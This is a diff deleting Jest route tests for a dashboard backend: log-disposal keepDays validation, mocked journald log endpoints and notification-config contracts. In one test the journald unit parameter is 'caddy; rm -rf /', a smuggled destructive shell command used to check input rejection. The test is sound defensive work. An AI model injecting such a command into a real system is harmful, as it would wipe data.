|
||||||
app.use(router);
|
|
||||||
// Capture errors so a thrown ValidationError doesn't crash the test
|
|
||||||
// runner — the route uses asyncHandler which forwards to next().
|
|
||||||
app.use((err, req, res, next) => res.status(err.statusCode || 500).json({ success: false, error: err.message, code: err.code }));
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Drive requests through http directly so we exercise the FULL Express
|
|
||||||
// middleware stack (body parser, error handler).
|
|
||||||
function start(app) {
|
|
||||||
return new Promise((resolve) => {
|
|
||||||
const server = app.listen(0, '127.0.0.1', () => resolve(server));
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function stop(server) {
|
|
||||||
return new Promise((resolve) => server.close(resolve));
|
|
||||||
}
|
|
||||||
|
|
||||||
function httpJson(server, httpMethod, urlPath) {
|
|
||||||
return new Promise((resolve, reject) => {
|
|
||||||
const port = server.address().port;
|
|
||||||
const data = httpMethod === 'GET' ? '' : JSON.stringify({});
|
|
||||||
const req = require('http').request({
|
|
||||||
hostname: '127.0.0.1', port, path: urlPath, method: httpMethod,
|
|
||||||
headers: httpMethod === 'GET'
|
|
||||||
? {}
|
|
||||||
: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
||||||
}, (res) => {
|
|
||||||
const chunks = [];
|
|
||||||
res.on('data', (c) => chunks.push(c));
|
|
||||||
res.on('end', () => {
|
|
||||||
const body = Buffer.concat(chunks).toString('utf8');
|
|
||||||
try { resolve({ status: res.statusCode, body: JSON.parse(body) }); }
|
|
||||||
catch (_) { resolve({ status: res.statusCode, body }); }
|
|
||||||
});
|
|
||||||
});
|
|
||||||
req.on('error', reject);
|
|
||||||
if (httpMethod !== 'GET') req.write(data);
|
|
||||||
req.end();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('routes/log-insights [DC-081]', () => {
|
|
||||||
describe('_validateKeepDays', () => {
|
|
||||||
const { _validateKeepDays } = logInsightsMod.__test;
|
|
||||||
|
|
||||||
test('rejects undefined / null / missing', () => {
|
|
||||||
expect(() => _validateKeepDays(undefined)).toThrow(/required/i);
|
|
||||||
expect(() => _validateKeepDays(null)).toThrow(/required/i);
|
|
||||||
expect(() => _validateKeepDays()).toThrow(/required/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-finite numbers (NaN, Infinity, -Infinity)', () => {
|
|
||||||
expect(() => _validateKeepDays(NaN)).toThrow(/finite/i);
|
|
||||||
expect(() => _validateKeepDays(Infinity)).toThrow(/finite/i);
|
|
||||||
expect(() => _validateKeepDays(-Infinity)).toThrow(/finite/i);
|
|
||||||
expect(() => _validateKeepDays('not-a-number')).toThrow(/finite/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-integers (floats, strings of floats)', () => {
|
|
||||||
expect(() => _validateKeepDays(1.5)).toThrow(/integer/i);
|
|
||||||
expect(() => _validateKeepDays(30.7)).toThrow(/integer/i);
|
|
||||||
expect(() => _validateKeepDays('30.5')).toThrow(/integer/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects out-of-range values — the DC-081 core fix', () => {
|
|
||||||
// The pre-fix bug: parseInt(-1000, 10) === -1000, accepted as keepDays.
|
|
||||||
// cutoff = Date.now() - (-1000 * 86400000) = +3 years in the future,
|
|
||||||
// then "delete all entries older than +3 years" = delete everything.
|
|
||||||
expect(() => _validateKeepDays(-1)).toThrow(/between 1 and 3650/i);
|
|
||||||
expect(() => _validateKeepDays(-1000)).toThrow(/between 1 and 3650/i);
|
|
||||||
expect(() => _validateKeepDays(0)).toThrow(/between 1 and 3650/i);
|
|
||||||
expect(() => _validateKeepDays(3651)).toThrow(/between 1 and 3650/i);
|
|
||||||
expect(() => _validateKeepDays(1000000)).toThrow(/between 1 and 3650/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts integers in [1, 3650]', () => {
|
|
||||||
expect(_validateKeepDays(1)).toBe(1);
|
|
||||||
expect(_validateKeepDays(30)).toBe(30);
|
|
||||||
expect(_validateKeepDays(90)).toBe(90);
|
|
||||||
expect(_validateKeepDays(365)).toBe(365);
|
|
||||||
expect(_validateKeepDays(3650)).toBe(3650);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('coerces numeric strings', () => {
|
|
||||||
expect(_validateKeepDays('30')).toBe(30);
|
|
||||||
expect(_validateKeepDays('3650')).toBe(3650);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('_resolvePaths', () => {
|
|
||||||
const { _resolvePaths } = logInsightsMod.__test;
|
|
||||||
|
|
||||||
test('falls back to platformPaths.dataDir when env unset', () => {
|
|
||||||
const prevAudit = process.env.AUDIT_LOG_FILE;
|
|
||||||
const prevSec = process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
delete process.env.AUDIT_LOG_FILE;
|
|
||||||
delete process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
try {
|
|
||||||
const { auditPath, secPath } = _resolvePaths();
|
|
||||||
// platformPaths.dataDir is /app/data in the container, /etc/dashcaddy on host
|
|
||||||
expect(auditPath.endsWith('audit-log.json')).toBe(true);
|
|
||||||
expect(secPath.endsWith('security-events.jsonl')).toBe(true);
|
|
||||||
// Audit + security should land in the same data dir
|
|
||||||
expect(path.dirname(auditPath)).toBe(path.dirname(secPath));
|
|
||||||
} finally {
|
|
||||||
if (prevAudit !== undefined) process.env.AUDIT_LOG_FILE = prevAudit;
|
|
||||||
if (prevSec !== undefined) process.env.SECURITY_EVENT_LOG_FILE = prevSec;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('honours AUDIT_LOG_FILE / SECURITY_EVENT_LOG_FILE env overrides', () => {
|
|
||||||
const prevAudit = process.env.AUDIT_LOG_FILE;
|
|
||||||
const prevSec = process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
process.env.AUDIT_LOG_FILE = '/tmp/dc-081-audit.json';
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = '/tmp/dc-081-sec.jsonl';
|
|
||||||
try {
|
|
||||||
const { auditPath, secPath, auditPathFrom, secPathFrom } = _resolvePaths();
|
|
||||||
expect(auditPath).toBe('/tmp/dc-081-audit.json');
|
|
||||||
expect(secPath).toBe('/tmp/dc-081-sec.jsonl');
|
|
||||||
expect(auditPathFrom).toBe('env');
|
|
||||||
expect(secPathFrom).toBe('env');
|
|
||||||
} finally {
|
|
||||||
if (prevAudit === undefined) delete process.env.AUDIT_LOG_FILE;
|
|
||||||
else process.env.AUDIT_LOG_FILE = prevAudit;
|
|
||||||
if (prevSec === undefined) delete process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
else process.env.SECURITY_EVENT_LOG_FILE = prevSec;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('matches the canonical paths used by audit-logger + event-store', async () => {
|
|
||||||
// Sanity: load both modules' resolved paths and assert they match
|
|
||||||
// what _resolvePaths returns. This catches a future refactor that
|
|
||||||
// moves one but not the others (the bug class that produced DC-081).
|
|
||||||
const prevAudit = process.env.AUDIT_LOG_FILE;
|
|
||||||
const prevSec = process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
delete process.env.AUDIT_LOG_FILE;
|
|
||||||
delete process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
try {
|
|
||||||
const auditLoggerMod = require('../../src/security/audit-logger');
|
|
||||||
const eventStoreMod = require('../../src/security/event-store');
|
|
||||||
// Trigger event-store module-load (it captures ENV at require time)
|
|
||||||
eventStoreMod.getStore();
|
|
||||||
const { auditPath, secPath } = _resolvePaths();
|
|
||||||
// The audit-logger module exports a singleton; its private
|
|
||||||
// AUDIT_LOG_FILE is not directly readable. Instead, we verify the
|
|
||||||
// shape: both paths share the same dataDir and use the canonical
|
|
||||||
// filenames.
|
|
||||||
expect(path.basename(auditPath)).toBe('audit-log.json');
|
|
||||||
expect(path.basename(secPath)).toBe('security-events.jsonl');
|
|
||||||
// And the dirname matches platformPaths.dataDir
|
|
||||||
const platformPaths = require('../../platform-paths');
|
|
||||||
expect(path.dirname(auditPath)).toBe(platformPaths.dataDir);
|
|
||||||
expect(path.dirname(secPath)).toBe(platformPaths.dataDir);
|
|
||||||
// Also sanity that the singleton logger at least exists
|
|
||||||
expect(auditLoggerMod).toBeDefined();
|
|
||||||
} finally {
|
|
||||||
if (prevAudit !== undefined) process.env.AUDIT_LOG_FILE = prevAudit;
|
|
||||||
if (prevSec !== undefined) process.env.SECURITY_EVENT_LOG_FILE = prevSec;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('POST /log-insights/dispose (TOTP-gated in production; here we hit the handler directly)', () => {
|
|
||||||
let server;
|
|
||||||
let app;
|
|
||||||
let tmpDir;
|
|
||||||
let auditFile;
|
|
||||||
let secFile;
|
|
||||||
|
|
||||||
beforeEach(async () => {
|
|
||||||
tmpDir = await fsp.mkdtemp(path.join(os.tmpdir(), 'dc-081-'));
|
|
||||||
auditFile = path.join(tmpDir, 'audit-log.json');
|
|
||||||
secFile = path.join(tmpDir, 'security-events.jsonl');
|
|
||||||
// Stage files so the route resolves them via env override.
|
|
||||||
process.env.AUDIT_LOG_FILE = auditFile;
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = secFile;
|
|
||||||
const router = buildRouter();
|
|
||||||
app = makeApp(router);
|
|
||||||
server = await start(app);
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(async () => {
|
|
||||||
await stop(server);
|
|
||||||
delete process.env.AUDIT_LOG_FILE;
|
|
||||||
delete process.env.SECURITY_EVENT_LOG_FILE;
|
|
||||||
await fsp.rm(tmpDir, { recursive: true, force: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
function postKeepDays(body) {
|
|
||||||
return new Promise((resolve, reject) => {
|
|
||||||
const port = server.address().port;
|
|
||||||
const data = JSON.stringify(body);
|
|
||||||
const req = require('http').request({
|
|
||||||
hostname: '127.0.0.1', port, path: '/log-insights/dispose',
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
||||||
}, (res) => {
|
|
||||||
const chunks = [];
|
|
||||||
res.on('data', (c) => chunks.push(c));
|
|
||||||
res.on('end', () => {
|
|
||||||
const body = Buffer.concat(chunks).toString('utf8');
|
|
||||||
try { resolve({ status: res.statusCode, body: JSON.parse(body) }); }
|
|
||||||
catch (_) { resolve({ status: res.statusCode, body }); }
|
|
||||||
});
|
|
||||||
});
|
|
||||||
req.on('error', reject);
|
|
||||||
req.write(data);
|
|
||||||
req.end();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
test('rejects negative keepDays with 400 + DC-081_INVALID_KEEP_DAYS', async () => {
|
|
||||||
const r = await postKeepDays({ keepDays: -1000 });
|
|
||||||
expect(r.status).toBe(400);
|
|
||||||
expect(r.body.code).toBe('DC-081_INVALID_KEEP_DAYS');
|
|
||||||
expect(r.body.error).toMatch(/between 1 and 3650/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects 0 keepDays (no-op-but-lies)', async () => {
|
|
||||||
const r = await postKeepDays({ keepDays: 0 });
|
|
||||||
expect(r.status).toBe(400);
|
|
||||||
expect(r.body.code).toBe('DC-081_INVALID_KEEP_DAYS');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects keepDays=Infinity (NaN-via-parseInt fallback)', async () => {
|
|
||||||
const r = await postKeepDays({ keepDays: Infinity });
|
|
||||||
expect(r.status).toBe(400);
|
|
||||||
expect(r.body.code).toBe('DC-081_INVALID_KEEP_DAYS');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-integer keepDays', async () => {
|
|
||||||
const r = await postKeepDays({ keepDays: 30.5 });
|
|
||||||
expect(r.status).toBe(400);
|
|
||||||
expect(r.body.code).toBe('DC-081_INVALID_KEEP_DAYS');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects missing keepDays', async () => {
|
|
||||||
const r = await postKeepDays({});
|
|
||||||
expect(r.status).toBe(400);
|
|
||||||
expect(r.body.code).toBe('DC-081_INVALID_KEEP_DAYS');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects keepDays > 3650 (10-year cap)', async () => {
|
|
||||||
const r = await postKeepDays({ keepDays: 10000 });
|
|
||||||
expect(r.status).toBe(400);
|
|
||||||
expect(r.body.code).toBe('DC-081_INVALID_KEEP_DAYS');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('preview pass: returns wouldDelete count without writing', async () => {
|
|
||||||
const oldTs = new Date(Date.now() - 100 * 86400000).toISOString(); // 100 days ago
|
|
||||||
const newTs = new Date(Date.now() - 5 * 86400000).toISOString(); // 5 days ago
|
|
||||||
await fsp.writeFile(auditFile, JSON.stringify([
|
|
||||||
{ id: 'a1', timestamp: oldTs, action: 'service.create' },
|
|
||||||
{ id: 'a2', timestamp: oldTs, action: 'service.delete' },
|
|
||||||
{ id: 'a3', timestamp: newTs, action: 'auth.totp-verify' },
|
|
||||||
]));
|
|
||||||
await fsp.writeFile(secFile, [
|
|
||||||
JSON.stringify({ id: 's1', timestamp: oldTs, severity: 'info' }),
|
|
||||||
JSON.stringify({ id: 's2', timestamp: oldTs, severity: 'info' }),
|
|
||||||
JSON.stringify({ id: 's3', timestamp: newTs, severity: 'info' }),
|
|
||||||
].join('\n') + '\n');
|
|
||||||
|
|
||||||
const r = await postKeepDays({ keepDays: 30 });
|
|
||||||
expect(r.status).toBe(200);
|
|
||||||
expect(r.body.preview).toBe(true);
|
|
||||||
expect(r.body.wouldDelete.auditEntries).toBe(2);
|
|
||||||
expect(r.body.wouldDelete.securityEvents).toBe(2);
|
|
||||||
// Files untouched
|
|
||||||
const afterAudit = JSON.parse(await fsp.readFile(auditFile, 'utf8'));
|
|
||||||
expect(afterAudit.length).toBe(3);
|
|
||||||
const afterSec = (await fsp.readFile(secFile, 'utf8')).split('\n').filter(Boolean);
|
|
||||||
expect(afterSec.length).toBe(3);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('confirm pass: actually deletes old entries, keeps new ones', async () => {
|
|
||||||
const oldTs = new Date(Date.now() - 100 * 86400000).toISOString();
|
|
||||||
const newTs = new Date(Date.now() - 5 * 86400000).toISOString();
|
|
||||||
await fsp.writeFile(auditFile, JSON.stringify([
|
|
||||||
{ id: 'a1', timestamp: oldTs, action: 'service.create' },
|
|
||||||
{ id: 'a2', timestamp: newTs, action: 'auth.totp-verify' },
|
|
||||||
]));
|
|
||||||
await fsp.writeFile(secFile, [
|
|
||||||
JSON.stringify({ id: 's1', timestamp: oldTs, severity: 'info' }),
|
|
||||||
JSON.stringify({ id: 's2', timestamp: newTs, severity: 'info' }),
|
|
||||||
].join('\n') + '\n');
|
|
||||||
|
|
||||||
const r = await postKeepDays({ keepDays: 30, confirm: true });
|
|
||||||
expect(r.status).toBe(200);
|
|
||||||
expect(r.body.disposed).toBe(true);
|
|
||||||
expect(r.body.deleted.auditEntries).toBe(1);
|
|
||||||
expect(r.body.deleted.securityEvents).toBe(1);
|
|
||||||
expect(r.body.remaining.auditEntries).toBe(1);
|
|
||||||
expect(r.body.remaining.securityEvents).toBe(1);
|
|
||||||
|
|
||||||
const afterAudit = JSON.parse(await fsp.readFile(auditFile, 'utf8'));
|
|
||||||
expect(afterAudit.map(e => e.id)).toEqual(['a2']);
|
|
||||||
const afterSec = (await fsp.readFile(secFile, 'utf8')).split('\n').filter(Boolean).map(JSON.parse);
|
|
||||||
expect(afterSec.map(e => e.id)).toEqual(['s2']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('confirm=false treated as preview (not confirm)', async () => {
|
|
||||||
const r = await postKeepDays({ keepDays: 30, confirm: false });
|
|
||||||
expect(r.status).toBe(200);
|
|
||||||
expect(r.body.preview).toBe(true);
|
|
||||||
// confirm was false, so no dispose
|
|
||||||
expect(r.body.disposed).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('preview response includes resolved paths so operator knows what files will be touched', async () => {
|
|
||||||
const r = await postKeepDays({ keepDays: 30 });
|
|
||||||
expect(r.status).toBe(200);
|
|
||||||
expect(r.body.paths.auditPath).toBe(auditFile);
|
|
||||||
expect(r.body.paths.secPath).toBe(secFile);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('handles missing audit-log file gracefully on preview', async () => {
|
|
||||||
await fsp.unlink(auditFile).catch(() => {});
|
|
||||||
// fs.readFile().catch returns '[]', so preview reports 0 deletions
|
|
||||||
const r = await postKeepDays({ keepDays: 30 });
|
|
||||||
expect(r.status).toBe(200);
|
|
||||||
expect(r.body.wouldDelete.auditEntries).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns 500 DC-081_AUDIT_PARSE_FAILED on corrupt audit-log file', async () => {
|
|
||||||
await fsp.writeFile(auditFile, 'this-is-not-json{');
|
|
||||||
const r = await postKeepDays({ keepDays: 30 });
|
|
||||||
expect(r.status).toBe(500);
|
|
||||||
expect(r.body.code).toBe('DC-081_AUDIT_PARSE_FAILED');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns 500 DC-081_AUDIT_SHAPE_INVALID if audit-log is a JSON object, not array', async () => {
|
|
||||||
await fsp.writeFile(auditFile, JSON.stringify({ not: 'an array' }));
|
|
||||||
const r = await postKeepDays({ keepDays: 30 });
|
|
||||||
expect(r.status).toBe(500);
|
|
||||||
expect(r.body.code).toBe('DC-081_AUDIT_SHAPE_INVALID');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DC-081 CORE: pre-fix keptDays=-1000 no longer wipes everything', async () => {
|
|
||||||
// Sanity-test the actual fix: a negative keepDays would, pre-fix,
|
|
||||||
// compute a cutoff in the FUTURE and then delete everything. After
|
|
||||||
// DC-081 it's a 400 with a clear error before any file read.
|
|
||||||
const r = await postKeepDays({ keepDays: -1000, confirm: true });
|
|
||||||
expect(r.status).toBe(400);
|
|
||||||
expect(r.body.success).toBe(false);
|
|
||||||
// No file IO occurred — confirm that an unrelated existing audit
|
|
||||||
// log file would survive. Since we already wiped tmpDir's auditFile
|
|
||||||
// is empty, write a sentinel and confirm it's still there after.
|
|
||||||
await fsp.writeFile(auditFile, JSON.stringify([{ id: 'sentinel', timestamp: new Date().toISOString() }]));
|
|
||||||
const r2 = await postKeepDays({ keepDays: -1000, confirm: true });
|
|
||||||
expect(r2.status).toBe(400);
|
|
||||||
const after = JSON.parse(await fsp.readFile(auditFile, 'utf8'));
|
|
||||||
expect(after.length).toBe(1);
|
|
||||||
expect(after[0].id).toBe('sentinel');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,196 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-055: Host journald route smoke tests.
|
|
||||||
*
|
|
||||||
* Mounts the routes/logs.js journald endpoints into a tiny express app
|
|
||||||
* with a mocked journald reader. The mock mirrors the real module's
|
|
||||||
* validation pipeline (assertUnitAllowed, parseTail, parseTimestamp) so
|
|
||||||
* bad inputs still throw ValidationError -> 400 at the route boundary,
|
|
||||||
* but the actual journalctl spawn is short-circuited.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
const path = require('path');
|
|
||||||
|
|
||||||
const realJournaldPath = require.resolve('../../src/monitoring/journald-reader.js');
|
|
||||||
|
|
||||||
// Pull the real module's validators so the mock's readEntries can
|
|
||||||
// reproduce the same 400-on-bad-input behaviour as production.
|
|
||||||
const realReader = jest.requireActual(realJournaldPath);
|
|
||||||
|
|
||||||
// Mocked journald reader. Variable name MUST start with "mock" so
|
|
||||||
// jest.mock hoisting doesn't reject the factory closure.
|
|
||||||
const mockJournald = {
|
|
||||||
ALLOWED_UNITS: realReader.ALLOWED_UNITS,
|
|
||||||
MAX_TAIL_LINES: realReader.MAX_TAIL_LINES,
|
|
||||||
MAX_OUTPUT_BUFFER: realReader.MAX_OUTPUT_BUFFER,
|
|
||||||
isAvailable: jest.fn().mockResolvedValue(true),
|
|
||||||
// Validation pipeline runs through the real assert/parse functions so
|
|
||||||
// bad unit/tail/since/until still surface as ValidationError. The
|
|
||||||
// journalctl spawn itself is short-circuited — return canned entries.
|
|
||||||
readEntries: jest.fn(async (opts) => {
|
|
||||||
const unit = realReader.assertUnitAllowed(opts.unit);
|
|
||||||
realReader.parseTail(opts.tail); // throws on bad tail
|
|
||||||
realReader.parseTimestamp(opts.since, 'since');
|
|
||||||
realReader.parseTimestamp(opts.until, 'until');
|
|
||||||
return [
|
|
||||||
{ timestamp: 'Aug 18 00:42:46', hostname: 'host', unit, text: 'mock-line-1' },
|
|
||||||
];
|
|
||||||
}),
|
|
||||||
// Default stream mock: invokes onData with one synthetic entry then
|
|
||||||
// returns a no-op handle. Tests override per-case.
|
|
||||||
streamEntries: jest.fn((opts, hooks = {}) => {
|
|
||||||
if (hooks.onData) {
|
|
||||||
hooks.onData({ timestamp: 'Aug 18 00:42:46', unit: opts.unit, text: 'stream-line-1' });
|
|
||||||
}
|
|
||||||
return { kill: jest.fn(), child: {} };
|
|
||||||
}),
|
|
||||||
listUnits: jest.fn(async () => [
|
|
||||||
{ unit: 'caddy', hasEntries: true },
|
|
||||||
{ unit: 'docker', hasEntries: true },
|
|
||||||
]),
|
|
||||||
assertUnitAllowed: realReader.assertUnitAllowed,
|
|
||||||
parseTail: realReader.parseTail,
|
|
||||||
parseTimestamp: realReader.parseTimestamp,
|
|
||||||
parseShortLine: realReader.parseShortLine,
|
|
||||||
buildArgv: realReader.buildArgv,
|
|
||||||
};
|
|
||||||
|
|
||||||
jest.mock('../../src/monitoring/journald-reader.js', () => mockJournald);
|
|
||||||
|
|
||||||
// Force journaldAvailable = true in routes/logs.js. The route checks
|
|
||||||
// /var/log/journal + /usr/bin/journalctl at module-load time, so we stub
|
|
||||||
// fs.existsSync to lie about those paths.
|
|
||||||
const realFs = require('fs');
|
|
||||||
const realExists = realFs.existsSync;
|
|
||||||
realFs.existsSync = function(p) {
|
|
||||||
if (p === '/var/log/journal' || p === '/usr/bin/journalctl') return true;
|
|
||||||
return realExists.apply(this, arguments);
|
|
||||||
};
|
|
||||||
|
|
||||||
const logsRoutes = require('../../routes/logs.js');
|
|
||||||
|
|
||||||
function buildApp() {
|
|
||||||
const app = express();
|
|
||||||
const asyncHandler = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
|
||||||
const ok = (res, data) => res.json({ success: true, ...data });
|
|
||||||
const errorHandler = (err, req, res, next) => {
|
|
||||||
const status = err.statusCode || (err.name === 'ValidationError' ? 400 : 500);
|
|
||||||
res.status(status).json({ success: false, error: err.message });
|
|
||||||
};
|
|
||||||
app.use('/api/v1', logsRoutes({ asyncHandler, ok }));
|
|
||||||
app.use(errorHandler);
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('routes /logs/journal', () => {
|
|
||||||
let app;
|
|
||||||
|
|
||||||
beforeEach(async () => {
|
|
||||||
mockJournald.readEntries.mockClear();
|
|
||||||
mockJournald.streamEntries.mockClear();
|
|
||||||
mockJournald.listUnits.mockClear();
|
|
||||||
app = buildApp();
|
|
||||||
// Let any keep-alive socket from the prior test close before we
|
|
||||||
// bind a new express app.
|
|
||||||
await new Promise(r => setTimeout(r, 10));
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('GET /logs/journal/units', () => {
|
|
||||||
test('returns unit list when journald is mounted', async () => {
|
|
||||||
const res = await request(app).get('/api/v1/logs/journal/units');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
expect(res.body.available).toBe(true);
|
|
||||||
expect(res.body.units.length).toBeGreaterThanOrEqual(1);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('GET /logs/journal', () => {
|
|
||||||
test('returns entries for caddy', async () => {
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/api/v1/logs/journal')
|
|
||||||
.query({ unit: 'caddy', tail: 50 });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.entries.length).toBeGreaterThanOrEqual(1);
|
|
||||||
expect(res.body.entries[0].unit).toBe('caddy');
|
|
||||||
expect(mockJournald.readEntries).toHaveBeenCalled();
|
|
||||||
const call = mockJournald.readEntries.mock.calls[0][0];
|
|
||||||
expect(call.unit).toBe('caddy');
|
|
||||||
expect(call.tail).toBe('50');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('forwards since/until/search verbatim', async () => {
|
|
||||||
await request(app).get('/api/v1/logs/journal').query({
|
|
||||||
unit: 'caddy', tail: 100,
|
|
||||||
since: '2026-08-18T00:00:00Z',
|
|
||||||
until: '2026-08-18T23:59:59Z',
|
|
||||||
search: 'health',
|
|
||||||
});
|
|
||||||
const call = mockJournald.readEntries.mock.calls[0][0];
|
|
||||||
expect(call.since).toBe('2026-08-18T00:00:00Z');
|
|
||||||
expect(call.until).toBe('2026-08-18T23:59:59Z');
|
|
||||||
expect(call.search).toBe('health');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns 400 when unit not in allow-list', async () => {
|
|
||||||
const res = await request(app).get('/api/v1/logs/journal').query({ unit: 'nginx' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/not in allow-list/);
|
|
||||||
// The reader is called and rejects; the route layer maps the
|
|
||||||
// ValidationError to 400 without doing any spawn.
|
|
||||||
expect(mockJournald.readEntries).toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns 400 when unit contains shell metacharacters', async () => {
|
|
||||||
const res = await request(app).get('/api/v1/logs/journal').query({ unit: 'caddy; rm -rf /' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(mockJournald.readEntries).toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns 400 when tail is invalid', async () => {
|
|
||||||
const res = await request(app).get('/api/v1/logs/journal').query({ unit: 'caddy', tail: 'oops' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('returns 500 when reader throws non-validation error', async () => {
|
|
||||||
mockJournald.readEntries.mockRejectedValueOnce(new Error('journalctl exited 1: bad dir'));
|
|
||||||
const res = await request(app).get('/api/v1/logs/journal').query({ unit: 'caddy' });
|
|
||||||
expect(res.status).toBe(500);
|
|
||||||
expect(res.body.error).toMatch(/journalctl exited 1/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('GET /logs/journal/stream', () => {
|
|
||||||
test('opens SSE with correct content-type for a valid unit', async () => {
|
|
||||||
// Stub the mock to immediately call onError so the route ends
|
|
||||||
// the response and supertest can collect it. Production SSE
|
|
||||||
// streams stay open until the client disconnects — covered by
|
|
||||||
// the journald-reader.streamEntries unit tests.
|
|
||||||
mockJournald.streamEntries.mockImplementationOnce((opts, hooks) => {
|
|
||||||
setTimeout(() => hooks.onError && hooks.onError(new Error('synthetic-EOF')), 5);
|
|
||||||
return { kill: jest.fn(), child: {} };
|
|
||||||
});
|
|
||||||
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/api/v1/logs/journal/stream')
|
|
||||||
.query({ unit: 'caddy' })
|
|
||||||
.timeout(2000);
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.headers['content-type']).toMatch(/text\/event-stream/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('400 when unit not in allow-list', async () => {
|
|
||||||
// The route pre-validates with journald.assertUnitAllowed BEFORE
|
|
||||||
// opening SSE — invalid unit returns a 400 JSON response without
|
|
||||||
// touching the stream.
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/api/v1/logs/journal/stream')
|
|
||||||
.query({ unit: 'nginx' });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/not in allow-list/);
|
|
||||||
// streamEntries must NOT have been called for a bad unit.
|
|
||||||
expect(mockJournald.streamEntries).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,267 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-092: notifications config contract tests (route level).
|
|
||||||
*
|
|
||||||
* The settings UI and the backend drifted apart in three ways, all of which
|
|
||||||
* made user-facing features silently dead:
|
|
||||||
* 1. UI sent email.user/email.pass; backend read username/password →
|
|
||||||
* SMTP auth never applied for UI-saved configs.
|
|
||||||
* 2. UI sent camelCase event keys (containerDown); the send() gate read
|
|
||||||
* kebab-case keys (container-down) → event toggles were cosmetic.
|
|
||||||
* 3. deploy-success/deploy-failed/auto-restart were missing from DEFAULT
|
|
||||||
* events → deploy + auto-restart notifications always dropped, and
|
|
||||||
* 'test' was gated too → the Test button was a no-op.
|
|
||||||
* 4. Non-boolean enabled/secure values (string "false") persisted as-is and
|
|
||||||
* coerced truthy (!!secure) — silently forcing TLS.
|
|
||||||
* 5. UI password field roundtrip: GET /config omitted port/secure/to/
|
|
||||||
* username, and an empty password on save clobbered the stored one.
|
|
||||||
*
|
|
||||||
* These tests pin the FIXED contract: alias normalization, strict booleans,
|
|
||||||
* event-key folding, non-destructive credential merge, redacted GET fields.
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const request = require('supertest');
|
|
||||||
|
|
||||||
// Stub notification manager: in-memory config object, real merge semantics
|
|
||||||
// are exercised through the route; manager-level canonicalization has its
|
|
||||||
// own tests in notification-manager.test.js.
|
|
||||||
function makeStubNotification(initial) {
|
|
||||||
const nm = {
|
|
||||||
config: initial,
|
|
||||||
getConfig() { return this.config; },
|
|
||||||
